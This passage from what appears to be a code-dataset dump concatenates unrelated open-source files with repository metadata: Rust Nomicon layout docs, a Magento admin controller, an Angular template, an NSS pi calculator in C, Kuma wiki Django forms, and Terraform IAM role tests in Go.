class='ident'>_pad2</span>: <span class='ident'>u16</span>, }</pre> <p>The latter case quite simply wastes space. An optimal use of space therefore requires different monomorphizations to have <em>different field orderings</em>.</p> <p><strong>Note: this is a hypothetical optimization that is not yet implemented in Rust 1.0</strong></p> <p>Enums make this consideration even more complicated. Naively, an enum such as:</p> <span class='rusttest'>fn main() { enum Foo { A(u32), B(u64), C(u8), } }</span><pre class='rust rust-example-rendered'> <span class='kw'>enum</span> <span class='ident'>Foo</span> { <span class='ident'>A</span>(<span class='ident'>u32</span>), <span class='ident'>B</span>(<span class='ident'>u64</span>), <span class='ident'>C</span>(<span class='ident'>u8</span>), }</pre> <p>would be laid out as:</p> <span class='rusttest'>fn main() { struct FooRepr { data: u64, // this is either a u64, u32, or u8 based on `tag` tag: u8, // 0 = A, 1 = B, 2 = C } }</span><pre class='rust rust-example-rendered'> <span class='kw'>struct</span> <span class='ident'>FooRepr</span> { <span class='ident'>data</span>: <span class='ident'>u64</span>, <span class='comment'>// this is either a u64, u32, or u8 based on `tag`</span> <span class='ident'>tag</span>: <span class='ident'>u8</span>, <span class='comment'>// 0 = A, 1 = B, 2 = C</span> }</pre> <p>And indeed this is approximately how it would be laid out in general (modulo the size and position of <code>tag</code>).</p> <p>However there are several cases where such a representation is inefficient. The classic case of this is Rust&#39;s &quot;null pointer optimization&quot;: an enum consisting of a single outer unit variant (e.g. <code>None</code>) and a (potentially nested) non- nullable pointer variant (e.g. <code>&amp;T</code>) makes the tag unnecessary, because a null pointer value can safely be interpreted to mean that the unit variant is chosen instead. The net result is that, for example, <code>size_of::&lt;Option&lt;&amp;T&gt;&gt;() == size_of::&lt;&amp;T&gt;()</code>.</p> <p>There are many types in Rust that are, or contain, non-nullable pointers such as <code>Box&lt;T&gt;</code>, <code>Vec&lt;T&gt;</code>, <code>String</code>, <code>&amp;T</code>, and <code>&amp;mut T</code>. Similarly, one can imagine nested enums pooling their tags into a single discriminant, as they are by definition known to have a limited range of valid values. In principle enums could use fairly elaborate algorithms to cache bits throughout nested types with special constrained representations. As such it is <em>especially</em> desirable that we leave enum layout unspecified today.</p> <script type="text/javascript"> window.playgroundUrl = "https://play.rust-lang.org"; </script> <script src='rustbook.js'></script> <script src='playpen.js'></script> </div></div> </body> </html>
servo/doc.servo.org
nomicon/repr-rust.html
HTML
mpl-2.0
14,185
<?php /** * DB1_AnyMarket extension * * NOTICE OF LICENSE * * This source file is subject to the MIT License * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/mit-license.php * * @category DB1 * @package DB1_AnyMarket * @copyright Copyright (c) 2015 * @license http://opensource.org/licenses/mit-license.php MIT License */ /** * Anymarket Attributes admin controller * * @category DB1 * @package DB1_AnyMarket */ class DB1_AnyMarket_Adminhtml_Anymarket_AnymarketattributesController extends DB1_AnyMarket_Controller_Adminhtml_AnyMarket { /** * init the anymarket attributes * * @access protected * @return DB1_AnyMarket_Model_Anymarketattributes */ protected function _initAnymarketattributes() { $anymarketattributesId = (int) $this->getRequest()->getParam('id'); $anymarketattributes = Mage::getModel('db1_anymarket/anymarketattributes'); if ($anymarketattributesId) { $anymarketattributes->load($anymarketattributesId); } Mage::register('current_anymarketattributes', $anymarketattributes); return $anymarketattributes; } /** * default action * * @access public * @return void */ public function indexAction() { $this->loadLayout(); $this->_title(Mage::helper('db1_anymarket')->__('AnyMarket')) ->_title(Mage::helper('db1_anymarket')->__('Anymarket Attributes')); $this->renderLayout(); } /** * grid action * * @access public * @return void */ public function gridAction() { $this->loadLayout()->renderLayout(); } /** * edit anymarket attributes - action * * @access public * @return void */ public function editAction() { $anymarketattributesId = $this->getRequest()->getParam('id'); $anymarketattributes = $this->_initAnymarketattributes(); if ($anymarketattributesId && !$anymarketattributes->getId()) { $this->_getSession()->addError( Mage::helper('db1_anymarket')->__('This anymarket attributes no longer exists.') ); $this->_redirect('*/*/'); return; } $data = Mage::getSingleton('adminhtml/session')->getAnymarketattributesData(true); if (!empty($data)) { $anymarketattributes->setData($data); } Mage::register('anymarketattributes_data', $anymarketattributes); $this->loadLayout(); $this->_title(Mage::helper('db1_anymarket')->__('AnyMarket')) ->_title(Mage::helper('db1_anymarket')->__('Anymarket Attributes')); if ($anymarketattributes->getId()) { $this->_title($anymarketattributes->getNmaDesc()); } else { $this->_title(Mage::helper('db1_anymarket')->__('Add anymarket attributes')); } if (Mage::getSingleton('cms/wysiwyg_config')->isEnabled()) { $this->getLayout()->getBlock('head')->setCanLoadTinyMce(true); } $this->renderLayout(); } /** * new anymarket attributes action * * @access public * @return void */ public function newAction() { $this->_forward('edit'); } /** * save anymarket attributes - action * * @access public * @return void */ public function saveAction() { if ($data = $this->getRequest()->getPost('anymarketattributes')) { try { $anymarketattributes = $this->_initAnymarketattributes(); $anymarketattributes->addData($data); $anymarketattributes->save(); Mage::getSingleton('adminhtml/session')->addSuccess( Mage::helper('db1_anymarket')->__('Anymarket Attributes was successfully saved') ); Mage::getSingleton('adminhtml/session')->setFormData(false); if ($this->getRequest()->getParam('back')) { $this->_redirect('*/*/edit', array('id' => $anymarketattributes->getId())); return; } $this->_redirect('*/*/'); return; } catch (Mage_Core_Exception $e) { Mage::getSingleton('adminhtml/session')->addError($e->getMessage()); Mage::getSingleton('adminhtml/session')->setAnymarketattributesData($data); $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'))); return; } catch (Exception $e) { Mage::logException($e); Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('There was a problem saving the anymarket attributes.') ); Mage::getSingleton('adminhtml/session')->setAnymarketattributesData($data); $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'))); return; } } Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('Unable to find anymarket attributes to save.') ); $this->_redirect('*/*/'); } /** * delete anymarket attributes - action * * @access public * @return void */ public function deleteAction() { if ( $this->getRequest()->getParam('id') > 0) { try { $anymarketattributes = Mage::getModel('db1_anymarket/anymarketattributes'); $anymarketattributes->setId($this->getRequest()->getParam('id'))->delete(); Mage::getSingleton('adminhtml/session')->addSuccess( Mage::helper('db1_anymarket')->__('Anymarket Attributes was successfully deleted.') ); $this->_redirect('*/*/'); return; } catch (Mage_Core_Exception $e) { Mage::getSingleton('adminhtml/session')->addError($e->getMessage()); $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'))); } catch (Exception $e) { Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('There was an error deleting anymarket attributes.') ); $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id'))); Mage::logException($e); return; } } Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('Could not find anymarket attributes to delete.') ); $this->_redirect('*/*/'); } /** * mass delete anymarket attributes - action * * @access public * @return void */ public function massDeleteAction() { $anymarketattributesIds = $this->getRequest()->getParam('anymarketattributes'); if (!is_array($anymarketattributesIds)) { Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('Please select anymarket attributes to delete.') ); } else { try { foreach ($anymarketattributesIds as $anymarketattributesId) { $anymarketattributes = Mage::getModel('db1_anymarket/anymarketattributes'); $anymarketattributes->setId($anymarketattributesId)->delete(); } Mage::getSingleton('adminhtml/session')->addSuccess( Mage::helper('db1_anymarket')->__('Total of %d anymarket attributes were successfully deleted.', count($anymarketattributesIds)) ); } catch (Mage_Core_Exception $e) { Mage::getSingleton('adminhtml/session')->addError($e->getMessage()); } catch (Exception $e) { Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('There was an error deleting anymarket attributes.') ); Mage::logException($e); } } $this->_redirect('*/*/index'); } /** * mass status change - action * * @access public * @return void */ public function massStatusAction() { $anymarketattributesIds = $this->getRequest()->getParam('anymarketattributes'); if (!is_array($anymarketattributesIds)) { Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('Please select anymarket attributes.') ); } else { try { foreach ($anymarketattributesIds as $anymarketattributesId) { $anymarketattributes = Mage::getSingleton('db1_anymarket/anymarketattributes')->load($anymarketattributesId) ->setStatus($this->getRequest()->getParam('status')) ->setIsMassupdate(true) ->save(); } $this->_getSession()->addSuccess( $this->__(Mage::helper('db1_anymarket')->__('Total of %d anymarket attributes were successfully updated.'), count($anymarketattributesIds)) ); } catch (Mage_Core_Exception $e) { Mage::getSingleton('adminhtml/session')->addError($e->getMessage()); } catch (Exception $e) { Mage::getSingleton('adminhtml/session')->addError( Mage::helper('db1_anymarket')->__('There was an error updating anymarket attributes.') ); Mage::logException($e); } } $this->_redirect('*/*/index'); } /** * export as csv - action * * @access public * @return void */ public function exportCsvAction() { $fileName = 'anymarketattributes.csv'; $content = $this->getLayout()->createBlock('db1_anymarket/adminhtml_anymarketattributes_grid') ->getCsv(); $this->_prepareDownloadResponse($fileName, $content); } /** * export as MsExcel - action * * @access public * @return void */ public function exportExcelAction() { $fileName = 'anymarketattributes.xls'; $content = $this->getLayout()->createBlock('db1_anymarket/adminhtml_anymarketattributes_grid') ->getExcelFile(); $this->_prepareDownloadResponse($fileName, $content); } /** * export as xml - action * * @access public * @return void */ public function exportXmlAction() { $fileName = 'anymarketattributes.xml'; $content = $this->getLayout()->createBlock('db1_anymarket/adminhtml_anymarketattributes_grid') ->getXml(); $this->_prepareDownloadResponse($fileName, $content); } /** * Check if admin has permissions to visit related pages * * @access protected * @return boolean */ protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('system/db1_anymarket/anymarketattributes'); } }
AnyMarket/magento
app/code/community/DB1/AnyMarket/controllers/Adminhtml/Anymarket/AnymarketattributesController.php
PHP
mpl-2.0
11,568
<div class="fractalis-control-container"> <p-selectButton [options]="availableChartTypes" [(ngModel)]="selectedChartType" (onChange)="onSelectedChartTypeChange()"></p-selectButton> <div *ngIf="isDropZoneShown && !isClearingCache" class="drop-zone" name="drop-zone" [pDroppable]="variablesDragDropScope" [ngClass]="{'drop-zone-highlight': dragCounter > 0, 'drop-zone-highlight-invalid': isValidationError}" (onDragEnter)="onDragEnter($event)" (onDragLeave)="onDragLeave($event)" (drop)="onDropVariable($event)"> <div *ngIf="selectedVariables.length === 0; else showDroppedVariables"> Drop variable(s) here </div> </div> <gb-loading [loading]="isClearingCache"></gb-loading> <div *ngFor="let message of validationErrorMessages" class="validation-error-message" role="alert"> <i class="fa fa-exclamation-triangle" aria-hidden="true"></i> {{message}} </div> <ng-template #showDroppedVariables> <mat-chip-list> <mat-chip *ngFor="let variable of selectedVariables" removable="true" selectable="false" (removed)="onRemoveVariable(variable)"> {{variable.name}} <mat-icon matChipRemove>cancel</mat-icon> </mat-chip> </mat-chip-list> <gb-loading [loading]="isPreparingCache"></gb-loading> </ng-template> <div class="btn-container"> <span *ngIf="isClearButtonShown"> <button type="button" class="btn btn-primary btn-sm" (click)="onClearControl()">Clear</button> </span> <span *ngIf="isAddButtonShown"> <button type="button" class="btn btn-primary btn-sm" (click)="onAddChart()">Add</button> </span> </div> </div>
thehyve/glowing-bear
src/app/modules/gb-analysis-module/fractalis-components/gb-fractalis-control/gb-fractalis-control.component.html
HTML
mpl-2.0
1,739
/* * pi.c * * Compute pi to an arbitrary number of digits. Uses Machin's formula, * like everyone else on the planet: * * pi = 16 * arctan(1/5) - 4 * arctan(1/239) * * This is pretty effective for up to a few thousand digits, but it * gets pretty slow after that. * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <limits.h> #include <time.h> #include "mpi.h" mp_err arctan(mp_digit mul, mp_digit x, mp_digit prec, mp_int *sum); int main(int argc, char *argv[]) { mp_err res; mp_digit ndigits; mp_int sum1, sum2; clock_t start, stop; int out = 0; /* Make the user specify precision on the command line */ if (argc < 2) { fprintf(stderr, "Usage: %s <num-digits>\n", argv[0]); return 1; } if ((ndigits = abs(atoi(argv[1]))) == 0) { fprintf(stderr, "%s: you must request at least 1 digit\n", argv[0]); return 1; } start = clock(); mp_init(&sum1); mp_init(&sum2); /* sum1 = 16 * arctan(1/5) */ if ((res = arctan(16, 5, ndigits, &sum1)) != MP_OKAY) { fprintf(stderr, "%s: arctan: %s\n", argv[0], mp_strerror(res)); out = 1; goto CLEANUP; } /* sum2 = 4 * arctan(1/239) */ if ((res = arctan(4, 239, ndigits, &sum2)) != MP_OKAY) { fprintf(stderr, "%s: arctan: %s\n", argv[0], mp_strerror(res)); out = 1; goto CLEANUP; } /* pi = sum1 - sum2 */ if ((res = mp_sub(&sum1, &sum2, &sum1)) != MP_OKAY) { fprintf(stderr, "%s: mp_sub: %s\n", argv[0], mp_strerror(res)); out = 1; goto CLEANUP; } stop = clock(); /* Write the output in decimal */ { char *buf = malloc(mp_radix_size(&sum1, 10)); if (buf == NULL) { fprintf(stderr, "%s: out of memory\n", argv[0]); out = 1; goto CLEANUP; } mp_todecimal(&sum1, buf); printf("%s\n", buf); free(buf); } fprintf(stderr, "Computation took %.2f sec.\n", (double)(stop - start) / CLOCKS_PER_SEC); CLEANUP: mp_clear(&sum1); mp_clear(&sum2); return out; } /* Compute sum := mul * arctan(1/x), to 'prec' digits of precision */ mp_err arctan(mp_digit mul, mp_digit x, mp_digit prec, mp_int *sum) { mp_int t, v; mp_digit q = 1, rd; mp_err res; int sign = 1; prec += 3; /* push inaccuracies off the end */ mp_init(&t); mp_set(&t, 10); mp_init(&v); if ((res = mp_expt_d(&t, prec, &t)) != MP_OKAY || /* get 10^prec */ (res = mp_mul_d(&t, mul, &t)) != MP_OKAY || /* ... times mul */ (res = mp_mul_d(&t, x, &t)) != MP_OKAY) /* ... times x */ goto CLEANUP; /* The extra multiplication by x in the above takes care of what would otherwise have to be a special case for 1 / x^1 during the first loop iteration. A little sneaky, but effective. We compute arctan(1/x) by the formula: 1 1 1 1 - - ----- + ----- - ----- + ... x 3 x^3 5 x^5 7 x^7 We multiply through by 'mul' beforehand, which gives us a couple more iterations and more precision */ x *= x; /* works as long as x < sqrt(RADIX), which it is here */ mp_zero(sum); do { if ((res = mp_div_d(&t, x, &t, &rd)) != MP_OKAY) goto CLEANUP; if (sign < 0 && rd != 0) mp_add_d(&t, 1, &t); if ((res = mp_div_d(&t, q, &v, &rd)) != MP_OKAY) goto CLEANUP; if (sign < 0 && rd != 0) mp_add_d(&v, 1, &v); if (sign > 0) res = mp_add(sum, &v, sum); else res = mp_sub(sum, &v, sum); if (res != MP_OKAY) goto CLEANUP; sign *= -1; q += 2; } while (mp_cmp_z(&t) != 0); /* Chop off inaccurate low-order digits */ mp_div_d(sum, 1000, sum, NULL); CLEANUP: mp_clear(&v); mp_clear(&t); return res; } /*------------------------------------------------------------------------*/ /* HERE THERE BE DRAGONS */
Yukarumya/Yukarum-Redfoxes
security/nss/lib/freebl/mpi/utils/pi.c
C
mpl-2.0
4,338
import re from tower import ugettext_lazy as _lazy from tower import ugettext as _ from django import forms from django.conf import settings from django.forms.widgets import CheckboxSelectMultiple from kuma.contentflagging.forms import ContentFlagForm import kuma.wiki.content from kuma.core.form_fields import StrippedCharField from .constants import (SLUG_CLEANSING_REGEX, REVIEW_FLAG_TAGS, LOCALIZATION_FLAG_TAGS, RESERVED_SLUGS) from .models import (Document, Revision, valid_slug_parent) TITLE_REQUIRED = _lazy(u'Please provide a title.') TITLE_SHORT = _lazy(u'The title is too short (%(show_value)s characters). ' u'It must be at least %(limit_value)s characters.') TITLE_LONG = _lazy(u'Please keep the length of the title to %(limit_value)s ' u'characters or less. It is currently %(show_value)s ' u'characters.') TITLE_PLACEHOLDER = _lazy(u'Name Your Article') SLUG_REQUIRED = _lazy(u'Please provide a slug.') SLUG_INVALID = _lazy(u'The slug provided is not valid.') SLUG_SHORT = _lazy(u'The slug is too short (%(show_value)s characters). ' u'It must be at least %(limit_value)s characters.') SLUG_LONG = _lazy(u'Please keep the length of the slug to %(limit_value)s ' u'characters or less. It is currently %(show_value)s ' u'characters.') SUMMARY_REQUIRED = _lazy(u'Please provide a summary.') SUMMARY_SHORT = _lazy(u'The summary is too short (%(show_value)s characters). ' u'It must be at least %(limit_value)s characters.') SUMMARY_LONG = _lazy(u'Please keep the length of the summary to ' u'%(limit_value)s characters or less. It is currently ' u'%(show_value)s characters.') CONTENT_REQUIRED = _lazy(u'Please provide content.') CONTENT_SHORT = _lazy(u'The content is too short (%(show_value)s characters). ' u'It must be at least %(limit_value)s characters.') CONTENT_LONG = _lazy(u'Please keep the length of the content to ' u'%(limit_value)s characters or less. It is currently ' u'%(show_value)s characters.') COMMENT_LONG = _lazy(u'Please keep the length of the comment to ' u'%(limit_value)s characters or less. It is currently ' u'%(show_value)s characters.') SLUG_COLLIDES = _lazy(u'Another document with this slug already exists.') OTHER_COLLIDES = _lazy(u'Another document with this metadata already exists.') MIDAIR_COLLISION = _lazy(u'This document was modified while you were ' 'editing it.') MOVE_REQUIRED = _lazy(u"Changing this document's slug requires " u"moving it and its children.") class DocumentForm(forms.ModelForm): """Form to create/edit a document.""" title = StrippedCharField(min_length=1, max_length=255, widget=forms.TextInput( attrs={'placeholder': TITLE_PLACEHOLDER}), label=_lazy(u'Title:'), help_text=_lazy(u'Title of article'), error_messages={'required': TITLE_REQUIRED, 'min_length': TITLE_SHORT, 'max_length': TITLE_LONG}) slug = StrippedCharField(min_length=1, max_length=255, widget=forms.TextInput(), label=_lazy(u'Slug:'), help_text=_lazy(u'Article URL'), error_messages={'required': SLUG_REQUIRED, 'min_length': SLUG_SHORT, 'max_length': SLUG_LONG}) category = forms.ChoiceField(choices=Document.CATEGORIES, initial=10, # Required for non-translations, which is # enforced in Document.clean(). required=False, label=_lazy(u'Category:'), help_text=_lazy(u'Type of article'), widget=forms.HiddenInput()) parent_topic = forms.ModelChoiceField(queryset=Document.objects.all(), required=False, label=_lazy(u'Parent:')) locale = forms.CharField(widget=forms.HiddenInput()) def clean_slug(self): slug = self.cleaned_data['slug'] if slug == '': # Default to the title, if missing. slug = self.cleaned_data['title'] # "?", " ", quote disallowed in slugs altogether if '?' in slug or ' ' in slug or '"' in slug or "'" in slug: raise forms.ValidationError(SLUG_INVALID) # Pattern copied from urls.py if not re.compile(r'^[^\$]+$').match(slug): raise forms.ValidationError(SLUG_INVALID) # Guard against slugs that match urlpatterns for pat in RESERVED_SLUGS: if re.compile(pat).match(slug): raise forms.ValidationError(SLUG_INVALID) return slug class Meta: model = Document fields = ('title', 'slug', 'category', 'locale') def save(self, parent_doc, **kwargs): """Persist the Document form, and return the saved Document.""" doc = super(DocumentForm, self).save(commit=False, **kwargs) doc.parent = parent_doc if 'parent_topic' in self.cleaned_data: doc.parent_topic = self.cleaned_data['parent_topic'] doc.save() # not strictly necessary since we didn't change # any m2m data since we instantiated the doc self.save_m2m() return doc class RevisionForm(forms.ModelForm): """Form to create new revisions.""" title = StrippedCharField(min_length=1, max_length=255, required=False, widget=forms.TextInput( attrs={'placeholder': TITLE_PLACEHOLDER}), label=_lazy(u'Title:'), help_text=_lazy(u'Title of article'), error_messages={'required': TITLE_REQUIRED, 'min_length': TITLE_SHORT, 'max_length': TITLE_LONG}) slug = StrippedCharField(min_length=1, max_length=255, required=False, widget=forms.TextInput(), label=_lazy(u'Slug:'), help_text=_lazy(u'Article URL'), error_messages={'required': SLUG_REQUIRED, 'min_length': SLUG_SHORT, 'max_length': SLUG_LONG}) tags = StrippedCharField(required=False, label=_lazy(u'Tags:')) keywords = StrippedCharField(required=False, label=_lazy(u'Keywords:'), help_text=_lazy(u'Affects search results')) summary = StrippedCharField(required=False, min_length=5, max_length=1000, widget=forms.Textarea(), label=_lazy(u'Search result summary:'), help_text=_lazy(u'Only displayed on search results page'), error_messages={'required': SUMMARY_REQUIRED, 'min_length': SUMMARY_SHORT, 'max_length': SUMMARY_LONG}) content = StrippedCharField( min_length=5, max_length=300000, label=_lazy(u'Content:'), widget=forms.Textarea(), error_messages={'required': CONTENT_REQUIRED, 'min_length': CONTENT_SHORT, 'max_length': CONTENT_LONG}) comment = StrippedCharField(required=False, label=_lazy(u'Comment:')) review_tags = forms.MultipleChoiceField( label=_("Tag this revision for review?"), widget=CheckboxSelectMultiple, required=False, choices=REVIEW_FLAG_TAGS) localization_tags = forms.MultipleChoiceField( label=_("Tag this revision for localization?"), widget=CheckboxSelectMultiple, required=False, choices=LOCALIZATION_FLAG_TAGS) current_rev = forms.CharField(required=False, widget=forms.HiddenInput()) class Meta(object): model = Revision fields = ('title', 'slug', 'tags', 'keywords', 'summary', 'content', 'comment', 'based_on', 'toc_depth', 'render_max_age') def __init__(self, *args, **kwargs): # Snag some optional kwargs and delete them before calling # super-constructor. for n in ('section_id', 'is_iframe_target'): if n not in kwargs: setattr(self, n, None) else: setattr(self, n, kwargs[n]) del kwargs[n] super(RevisionForm, self).__init__(*args, **kwargs) self.fields['based_on'].widget = forms.HiddenInput() if self.instance and self.instance.pk: # Ensure both title and slug are populated from parent document, if # last revision didn't have them if not self.instance.title: self.initial['title'] = self.instance.document.title if not self.instance.slug: self.initial['slug'] = self.instance.document.slug content = self.instance.content if not self.instance.document.is_template: tool = kuma.wiki.content.parse(content) tool.injectSectionIDs() if self.section_id: tool.extractSection(self.section_id) tool.filterEditorSafety() content = tool.serialize() self.initial['content'] = content self.initial['review_tags'] = [x.name for x in self.instance.review_tags.all()] self.initial['localization_tags'] = [x.name for x in self.instance.localization_tags.all()] if self.section_id: self.fields['toc_depth'].required = False def _clean_collidable(self, name): value = self.cleaned_data[name] if self.is_iframe_target: # Since these collidables can change the URL of the page, changes # to them are ignored for an iframe submission return getattr(self.instance.document, name) error_message = {'slug': SLUG_COLLIDES}.get(name, OTHER_COLLIDES) try: existing_doc = Document.objects.get( locale=self.instance.document.locale, **{name: value}) if self.instance and self.instance.document: if (not existing_doc.redirect_url() and existing_doc.pk != self.instance.document.pk): # There's another document with this value, # and we're not a revision of it. raise forms.ValidationError(error_message) else: # This document-and-revision doesn't exist yet, so there # shouldn't be any collisions at all. raise forms.ValidationError(error_message) except Document.DoesNotExist: # No existing document for this value, so we're good here. pass return value def clean_slug(self): # TODO: move this check somewhere else? # edits can come in without a slug, so default to the current doc slug if not self.cleaned_data['slug']: existing_slug = self.instance.document.slug self.cleaned_data['slug'] = self.instance.slug = existing_slug cleaned_slug = self._clean_collidable('slug') return cleaned_slug def clean_content(self): """Validate the content, performing any section editing if necessary""" content = self.cleaned_data['content'] # If we're editing a section, we need to replace the section content # from the current revision. if self.section_id and self.instance and self.instance.document: # Make sure we start with content form the latest revision. full_content = self.instance.document.current_revision.content # Replace the section content with the form content. tool = kuma.wiki.content.parse(full_content) tool.replaceSection(self.section_id, content) content = tool.serialize() return content def clean_current_rev(self): """If a current revision is supplied in the form, compare it against what the document claims is the current revision. If there's a difference, then an edit has occurred since the form was constructed and we treat it as a mid-air collision.""" current_rev = self.cleaned_data.get('current_rev', None) if not current_rev: # If there's no current_rev, just bail. return current_rev try: doc_current_rev = self.instance.document.current_revision.id if unicode(current_rev) != unicode(doc_current_rev): if (self.section_id and self.instance and self.instance.document): # This is a section edit. So, even though the revision has # changed, it still might not be a collision if the section # in particular hasn't changed. orig_ct = (Revision.objects.get(pk=current_rev) .get_section_content(self.section_id)) curr_ct = (self.instance.document.current_revision .get_section_content(self.section_id)) if orig_ct != curr_ct: # Oops. Looks like the section did actually get # changed, so yeah this is a collision. raise forms.ValidationError(MIDAIR_COLLISION) return current_rev else: # No section edit, so this is a flat-out collision. raise forms.ValidationError(MIDAIR_COLLISION) except Document.DoesNotExist: # If there's no document yet, just bail. return current_rev def save_section(self, creator, document, **kwargs): """Save a section edit.""" # This is separate because the logic is slightly different and # may need to evolve over time; a section edit doesn't submit # all the fields, and we need to account for that when we # construct the new Revision. old_rev = Document.objects.get(pk=self.instance.document.id).current_revision new_rev = super(RevisionForm, self).save(commit=False, **kwargs) new_rev.document = document new_rev.creator = creator new_rev.toc_depth = old_rev.toc_depth new_rev.save() new_rev.review_tags.set(*[t.name for t in old_rev.review_tags.all()]) return new_rev def save(self, creator, document, **kwargs): """Persist me, and return the saved Revision. Take several other necessary pieces of data that aren't from the form. """ if self.section_id and self.instance and \ self.instance.document: return self.save_section(creator, document, **kwargs) # Throws a TypeError if somebody passes in a commit kwarg: new_rev = super(RevisionForm, self).save(commit=False, **kwargs) new_rev.document = document new_rev.creator = creator new_rev.toc_depth = self.cleaned_data['toc_depth'] new_rev.save() new_rev.review_tags.set(*self.cleaned_data['review_tags']) new_rev.localization_tags.set(*self.cleaned_data['localization_tags']) return new_rev class RevisionValidationForm(RevisionForm): """Created primarily to disallow slashes in slugs during validation""" def clean_slug(self): is_valid = True original = self.cleaned_data['slug'] # "/", "?", and " " disallowed in form input if (u'' == original or '/' in original or '?' in original or ' ' in original): is_valid = False raise forms.ValidationError(SLUG_INVALID) # Append parent slug data, call super, ensure still valid self.cleaned_data['slug'] = self.data['slug'] = (self.parent_slug + '/' + original) is_valid = (is_valid and super(RevisionValidationForm, self).clean_slug()) # Set the slug back to original # if not is_valid: self.cleaned_data['slug'] = self.data['slug'] = original return self.cleaned_data['slug'] class TreeMoveForm(forms.Form): title = StrippedCharField(min_length=1, max_length=255, required=False, widget=forms.TextInput( attrs={'placeholder': TITLE_PLACEHOLDER}), label=_lazy(u'Title:'), help_text=_lazy(u'Title of article'), error_messages={'required': TITLE_REQUIRED, 'min_length': TITLE_SHORT, 'max_length': TITLE_LONG}) slug = StrippedCharField(min_length=1, max_length=255, widget=forms.TextInput(), label=_lazy(u'New slug:'), help_text=_lazy(u'New article URL'), error_messages={'required': SLUG_REQUIRED, 'min_length': SLUG_SHORT, 'max_length': SLUG_LONG}) locale = StrippedCharField(min_length=2, max_length=5, widget=forms.HiddenInput()) def clean_slug(self): # We only want the slug here; inputting a full URL would lead # to disaster. if '://' in self.cleaned_data['slug']: raise forms.ValidationError('Please enter only the slug to move ' 'to, not the full URL.') # Removes leading slash and {locale/docs/} if necessary # IMPORTANT: This exact same regex is used on the client side, so # update both if doing so self.cleaned_data['slug'] = re.sub(re.compile(SLUG_CLEANSING_REGEX), '', self.cleaned_data['slug']) return self.cleaned_data['slug'] def clean(self): cleaned_data = super(TreeMoveForm, self).clean() if set(['slug', 'locale']).issubset(cleaned_data): slug, locale = cleaned_data['slug'], cleaned_data['locale'] try: valid_slug_parent(slug, locale) except Exception, e: raise forms.ValidationError(e.args[0]) return cleaned_data class DocumentDeletionForm(forms.Form): reason = forms.CharField(widget=forms.Textarea(attrs={'autofocus': 'true'})) class DocumentContentFlagForm(ContentFlagForm): flag_type = forms.ChoiceField( choices=settings.WIKI_FLAG_REASONS, widget=forms.RadioSelect)
mastizada/kuma
kuma/wiki/forms.py
Python
mpl-2.0
19,906
package google import ( "fmt" "testing" "github.com/hashicorp/terraform/helper/acctest" "github.com/hashicorp/terraform/helper/resource" "github.com/hashicorp/terraform/terraform" ) func TestAccProjectIamCustomRole_basic(t *testing.T) { t.Parallel() roleId := "tfIamCustomRole" + acctest.RandString(10) resource.Test(t, resource.TestCase{ PreCheck: func() { testAccPreCheck(t) }, Providers: testAccProviders, CheckDestroy: testAccCheckGoogleProjectIamCustomRoleDestroy, Steps: []resource.TestStep{ { Config: testAccCheckGoogleProjectIamCustomRole_basic(roleId), Check: resource.TestCheckResourceAttr("google_project_iam_custom_role.foo", "stage", "GA"), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, { Config: testAccCheckGoogleProjectIamCustomRole_update(roleId), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, }, }) } func TestAccProjectIamCustomRole_undelete(t *testing.T) { t.Parallel() roleId := "tfIamCustomRole" + acctest.RandString(10) resource.Test(t, resource.TestCase{ PreCheck: func() { testAccPreCheck(t) }, Providers: testAccProviders, CheckDestroy: testAccCheckGoogleProjectIamCustomRoleDestroy, Steps: []resource.TestStep{ { Config: testAccCheckGoogleProjectIamCustomRole_basic(roleId), Check: resource.TestCheckResourceAttr("google_project_iam_custom_role.foo", "deleted", "false"), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, // Soft-delete { Config: testAccCheckGoogleProjectIamCustomRole_deleted(roleId), Check: resource.TestCheckResourceAttr("google_project_iam_custom_role.foo", "deleted", "true"), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, // Undelete { Config: testAccCheckGoogleProjectIamCustomRole_basic(roleId), Check: resource.TestCheckResourceAttr("google_project_iam_custom_role.foo", "deleted", "false"), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, }, }) } func TestAccProjectIamCustomRole_createAfterDestroy(t *testing.T) { t.Parallel() roleId := "tfIamCustomRole" + acctest.RandString(10) resource.Test(t, resource.TestCase{ PreCheck: func() { testAccPreCheck(t) }, Providers: testAccProviders, CheckDestroy: testAccCheckGoogleProjectIamCustomRoleDestroy, Steps: []resource.TestStep{ { Config: testAccCheckGoogleProjectIamCustomRole_basic(roleId), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, // Destroy resources { Config: " ", Destroy: true, }, // Re-create with no existing state { Config: testAccCheckGoogleProjectIamCustomRole_basic(roleId), }, { ResourceName: "google_project_iam_custom_role.foo", ImportState: true, ImportStateVerify: true, }, }, }) } func testAccCheckGoogleProjectIamCustomRoleDestroy(s *terraform.State) error { config := testAccProvider.Meta().(*Config) for _, rs := range s.RootModule().Resources { if rs.Type != "google_project_iam_custom_role" { continue } role, err := config.clientIAM.Projects.Roles.Get(rs.Primary.ID).Do() if err != nil { return err } if !role.Deleted { return 